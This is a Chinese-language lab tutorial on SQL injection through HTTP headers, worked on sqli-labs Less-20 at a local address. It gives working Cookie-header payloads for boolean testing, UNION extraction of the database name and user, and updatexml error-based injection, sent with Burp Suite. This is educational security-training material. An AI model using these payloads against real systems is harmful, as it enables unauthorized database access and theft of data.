SQL注入-HTTP头的一些注入
原理:
有时因为需要,会将客户的请求头中一些数据与数据库进行交互,比如用户的cookie
,统计用户点击链接的来源referer
,统计用户操作系统User-Agent
,和用户的真实地址X-Forwarded-For
,忘记对其添加过滤,就造成了注入漏洞。
http头:
POST /Less-20/index.php HTTP/1.1
Host: 192.168.0.102:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.0.102:8888
Connection: close
Referer: http://192.168.0.102:8888/Less-20/index.php
Upgrade-Insecure-Requests:
X-Forwarded-For:127.0.0.1
Cookie: uname=admin
uname=admin&passwd=admin&submit=Submit
其中,user-agent
,cookie
,x-forwarded-for
,referer
都有可能存在注入。
http头的注入其实是和普通注入一样的,只不过需要借助抓包工具进行注入。
我们以Cookie做例子:
先进入sqli-labs
第20关的文件夹,查看index.php
文件:
可以看到,变量$cookee
拿到了用户cookie并且没有做任何过滤就放到SQL语句中执行。
接下来我们回到页面中,先正常登录账号密码都是admin
:
这是正常登陆后的页面:
之后我们打开burpsuite
,浏览器代理转发到burp,并且开启拦截模式:
我们再刷新页面,就会抓到带有Cookie的包:
按Ctrl+R键将包发送到重发器,并将cookie改为uname=admin'+and+'1'#
和uname=admin'+and+'0'#
:
我们发现页面发生变化,存在SQL注入(注:+
号为空格#
号为注释符,也可以用--+
做注释)。
所以说http,post注入和get注入方法是一样的,只不过get注入在URL上传递payload,而post需要抓包传递payload。
接下来尝试爆出敏感数据:因为发现页面上有回显所以我们尝试联合注入:
payload:Cookie: uname=-admin'+union+select+1,database(),user()--+
:
得出数据库名称为security,用户名为root。
我们将cookie改为admin'
发现有报错,所以我们还可以尝试报错注入:
payload:Cookie: uname=admin'+and+(updatexml(1,concat(0x7e,(select database()),0x7e),1))#
:
用报错注入是同样可以的。